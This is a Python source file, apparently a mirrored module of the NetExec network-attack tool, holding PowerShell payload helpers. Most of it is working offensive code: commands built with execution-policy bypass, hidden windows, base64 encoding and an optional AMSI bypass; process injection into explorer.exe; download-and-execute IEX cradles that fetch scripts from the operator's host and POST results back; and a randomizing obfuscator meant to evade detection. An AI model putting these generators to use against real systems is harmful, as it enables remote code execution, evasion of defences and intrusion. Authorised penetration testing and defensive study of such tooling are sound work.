mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
Alexander Neff
420 lines
20 KiB
Python
420 lines
20 KiB
Python
import os
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import re
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from sys import exit
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from string import ascii_lowercase
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from random import choice, sample
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from subprocess import call
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from nxc.helpers.misc import which
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from nxc.logger import nxc_logger
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from nxc.paths import NXC_PATH, DATA_PATH
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from base64 import b64encode
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import random
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obfuscate_ps_scripts = False
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def replace_singles(s):
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"""Replaces single quotes with a double quote
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We do this because quoting is very important in PowerShell, and we are doing multiple layers:
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Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
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Args:
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----
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s (str): The string to replace single quotes in.
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Returns:
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-------
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str: Original string with single quotes replaced with double.
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"""
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return s.replace("'", r"\"")
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def get_ps_script(path):
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"""Generates a full path to a PowerShell script given a relative path.
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Parameters
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----------
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path (str): The relative path to the PowerShell script.
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Returns
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-------
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str: The full path to the PowerShell script.
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"""
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return os.path.join(DATA_PATH, path)
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def encode_ps_command(command):
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"""
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Encodes a PowerShell command into a base64-encoded string.
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Args:
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----
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command (str): The PowerShell command to encode.
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Returns:
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-------
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str: The base64-encoded string representation of the encoded command.
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"""
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return b64encode(command.encode("UTF-16LE")).decode()
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def obfs_ps_script(path_to_script):
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"""
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Obfuscates a PowerShell script.
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Args:
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----
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path_to_script (str): The path to the PowerShell script.
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Returns:
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-------
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str: The obfuscated PowerShell script.
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Raises:
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------
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FileNotFoundError: If the script file does not exist.
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OSError: If there is an error during obfuscation.
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"""
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ps_script = path_to_script.split("/")[-1]
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obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
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obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
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if bool(which("powershell")) and obfuscate_ps_scripts:
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if os.path.exists(obfs_ps_script):
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nxc_logger.display("Using cached obfuscated Powershell script")
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with open(obfs_ps_script) as script:
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return script.read()
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nxc_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
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invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'"
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nxc_logger.debug(invoke_obfs_command)
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with open(os.devnull, "w") as devnull:
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call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
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nxc_logger.success("Script obfuscated successfully")
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with open(obfs_ps_script) as script:
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return script.read()
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else:
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with open(get_ps_script(path_to_script)) as script:
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"""
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Strip block comments, line comments, empty lines, verbose statements,
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and debug statements from a PowerShell source file.
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"""
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# strip block comments
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stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
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# strip blank lines, lines starting with #, and verbose/debug statements
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return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
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def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
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"""
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Generates a PowerShell command based on the provided `ps_command` parameter.
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Args:
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----
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ps_command (str): The PowerShell command to be executed.
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force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
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obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
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custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
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encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
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Returns:
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-------
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str: The generated PowerShell command.
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"""
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nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
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if custom_amsi:
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nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
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with open(custom_amsi) as file_in:
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lines = list(file_in)
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amsi_bypass = "".join(lines)
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else:
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amsi_bypass = ""
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# for readability purposes, we do not do a one-liner
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if force_ps32: # noqa: SIM108
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# https://stackoverflow.com/a/60155248
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command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
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else:
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command = f"{amsi_bypass} {ps_command}"
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nxc_logger.debug(f"Generated PS command:\n {command}\n")
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if obfs:
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nxc_logger.debug("Obfuscating PowerShell command")
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obfs_attempts = 0
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while True:
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nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
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obfs_command = invoke_obfuscation(command)
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command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
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if len(command) <= 8191:
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break
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if obfs_attempts == 4:
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nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
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exit(1)
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nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
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obfs_attempts += 1
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else:
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# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
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command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
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command = f"powershell.exe -noni -nop -w 1 {command}"
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if len(command) > 8191:
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nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
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exit(1)
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nxc_logger.debug(f"Final command: {command}")
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return command
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def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
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"""
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Generates a PowerShell code block for injecting a command into a specified process.
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Args:
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----
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command (str): The command to be injected.
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context (str, optional): The context in which the code block will be injected. Defaults to None.
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procname (str, optional): The name of the process into which the command will be injected. Defaults to "explorer.exe".
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inject_once (bool, optional): Specifies whether the command should be injected only once. Defaults to False.
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Returns:
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-------
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str: The generated PowerShell code block.
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"""
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# The following code gives us some control over where and how Invoke-PSInject does its thang
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# It prioritizes injecting into a process of the active console session
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ps_code = """
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$injected = $False
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$inject_once = {inject_once}
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$command = "{command}"
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$owners = @{{}}
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$console_login = gwmi win32_computersystem | select -exp Username
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gwmi win32_process | where {{$_.Name.ToLower() -eq '{procname}'.ToLower()}} | % {{
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if ($_.getowner().domain -and $_.getowner().user){{
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$owners[$_.getowner().domain + "\\" + $_.getowner().user] = $_.handle
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}}
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}}
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try {{
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if ($owners.ContainsKey($console_login)){{
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Invoke-PSInject -ProcId $owners.Get_Item($console_login) -PoshCode $command
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$injected = $True
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$owners.Remove($console_login)
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}}
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}}
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catch {{}}
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if (($injected -eq $False) -or ($inject_once -eq $False)){{
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foreach ($owner in $owners.Values) {{
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try {{
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Invoke-PSInject -ProcId $owner -PoshCode $command
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}}
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catch {{}}
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}}
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}}
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""".format(
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inject_once="$True" if inject_once else "$False",
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command=encode_ps_command(command),
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procname=procname,
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)
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if context:
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return gen_ps_iex_cradle(context, "Invoke-PSInject.ps1", ps_code, post_back=False)
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return ps_code
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def gen_ps_iex_cradle(context, scripts, command="", post_back=True):
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"""
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Generates a PowerShell IEX cradle script for executing one or more scripts.
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Args:
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----
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context (Context): The context object containing server and port information.
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scripts (str or list): The script(s) to be executed.
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command (str, optional): A command to be executed after the scripts are executed. Defaults to an empty string.
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post_back (bool, optional): Whether to send a POST request with the command. Defaults to True.
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Returns:
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-------
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str: The generated PowerShell IEX cradle script.
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"""
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if isinstance(scripts, str):
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launcher = """
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[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
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[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
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IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}')
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{command}
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""".format(
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server=context.server,
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port=context.server_port,
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addr=context.localip,
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ps_script_name=scripts,
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command=command if post_back is False else "",
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).strip()
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elif isinstance(scripts, list):
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launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
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launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
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for script in scripts:
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launcher += f"IEX (New-Object Net.WebClient).DownloadString('{context.server}://{context.localip}:{context.server_port}/{script}')\n"
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launcher.strip()
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launcher += command if post_back is False else ""
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if post_back is True:
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launcher += f"""
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$cmd = {command}
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$request = [System.Net.WebRequest]::Create('{context.server}://{context.localip}:{context.server_port}/')
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$request.Method = 'POST'
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$request.ContentType = 'application/x-www-form-urlencoded'
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$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
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$request.ContentLength = $bytes.Length
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$requestStream = $request.GetRequestStream()
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$requestStream.Write($bytes, 0, $bytes.Length)
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$requestStream.Close()
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$request.GetResponse()"""
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nxc_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
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return launcher.strip()
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# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
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def invoke_obfuscation(script_string):
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"""
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Obfuscates a script string and generates an obfuscated payload for execution.
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Args:
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----
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script_string (str): The script string to obfuscate.
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Returns:
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-------
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str: The obfuscated payload for execution.
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"""
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nxc_logger.debug(f"Command before obfuscation: {script_string}")
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random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
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random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
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# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
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random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
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# Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters.
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delimited_encoded_array = ""
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for char in script_string:
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delimited_encoded_array += str(ord(char)) + choice(random_delimiters)
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# Remove trailing delimiter from $DelimitedEncodedArray.
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delimited_encoded_array = delimited_encoded_array[:-1]
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# Create printable version of $RandomDelimiters in random order to be used by final command.
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test = sample(random_delimiters, len(random_delimiters))
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random_delimiters_to_print = "".join(i for i in test)
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# Generate random case versions for necessary operations.
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for_each_object = choice(["ForEach", "ForEach-Object", "%"])
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str_join = "".join(choice([i.upper(), i.lower()]) for i in "[String]::Join")
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str_str = "".join(choice([i.upper(), i.lower()]) for i in "[String]")
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join = "".join(choice([i.upper(), i.lower()]) for i in "-Join")
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char_str = "".join(choice([i.upper(), i.lower()]) for i in "Char")
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integer = "".join(choice([i.upper(), i.lower()]) for i in "Int")
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for_each_object = "".join(choice([i.upper(), i.lower()]) for i in for_each_object)
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# Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax
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random_delimiters_to_print_for_dash_split = ""
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for delim in random_delimiters:
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# Random case 'split' string.
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split = "".join(choice([i.upper(), i.lower()]) for i in "Split")
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random_delimiters_to_print_for_dash_split += "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "])
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random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip("\t\n\r")
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# Randomly select between various conversion syntax options.
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random_conversion_syntax = [
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"[" + char_str + "]" + choice(["", " "]) + "[" + integer + "]" + choice(["", " "]) + "$_",
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"[" + integer + "]" + choice(["", " "]) + "$_" + choice(["", " "]) + choice(["-as", "-As", "-aS", "-AS"]) + choice(["", " "]) + "[" + char_str + "]",
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]
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random_conversion_syntax = choice(random_conversion_syntax)
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# Create array syntax for encoded scriptString as alternative to .Split/-Split syntax.
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encoded_array = ""
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for char in script_string:
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encoded_array += str(ord(char)) + choice(["", " "]) + "," + choice(["", " "])
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# Remove trailing comma from encoded_array
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encoded_array = "(" + choice(["", " "]) + encoded_array.rstrip().rstrip(",") + ")"
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# Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable).
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# Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists.
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# If the OFS variable did exist then we could use even more syntax:
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# $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls
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# For more info:
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# https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
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set_ofs_var_syntax = [
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"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "''",
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choice(["Set-Variable", "SV", "SET"]) + choice([" " * 1, " " * 2]) + "'OFS'" + choice([" " * 1, " " * 2]) + "''",
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]
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set_ofs_var = choice(set_ofs_var_syntax)
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set_ofs_var_back_syntax = [
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"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
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"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
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]
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set_ofs_var_back = choice(set_ofs_var_back_syntax)
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# Randomize case of $SetOfsVar and $SetOfsVarBack.
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set_ofs_var = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var)
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set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
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# Generate the code that will decrypt and execute the payload and randomly select one.
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base_script_array = [
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"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
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"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
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"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
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"(" + choice(["", " "]) + encoded_array + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
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]
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# Generate random JOIN syntax for all above options
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new_script_array = [
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choice(base_script_array) + choice(["", " "]) + join + choice(["", " "]) + "''",
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join + choice(["", " "]) + choice(base_script_array),
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str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(base_script_array) + choice(["", " "]) + ")",
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'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(base_script_array) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
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]
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# Randomly select one of the above commands.
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new_script = choice(new_script_array)
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# Generate random invoke operation syntax
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# Below code block is a copy from Out-ObfuscatedStringCommand.ps1
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# It is copied into this encoding function so that this will remain a standalone script without dependencies
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invoke_expression_syntax = [choice(["IEX", "Invoke-Expression"])]
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# Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
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# Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator,
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# but not a silver bullet
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# These methods draw on common environment variable values and PowerShell Automatic Variable
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# values/methods/members/properties/etc.
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invocation_operator = choice([".", "&"]) + choice(["", " "])
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invoke_expression_syntax.extend((invocation_operator + "( $ShellId[1]+$ShellId[13]+'x')", invocation_operator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')", invocation_operator + "( $env:Public[13]+$env:Public[5]+'x')", invocation_operator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')", invocation_operator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')", invocation_operator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')"))
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# Randomly choose from above invoke operation syntaxes.
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invoke_expression = choice(invoke_expression_syntax)
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# Randomize the case of selected invoke operation.
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invoke_expression = "".join(choice([i.upper(), i.lower()]) for i in invoke_expression)
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# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
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invoke_options = [
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choice(["", " "]) + invoke_expression + choice(["", " "]) + "(" + choice(["", " "]) + new_script + choice(["", " "]) + ")" + choice(["", " "]),
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choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
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]
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obfuscated_script = choice(invoke_options)
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nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
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return obfuscated_script
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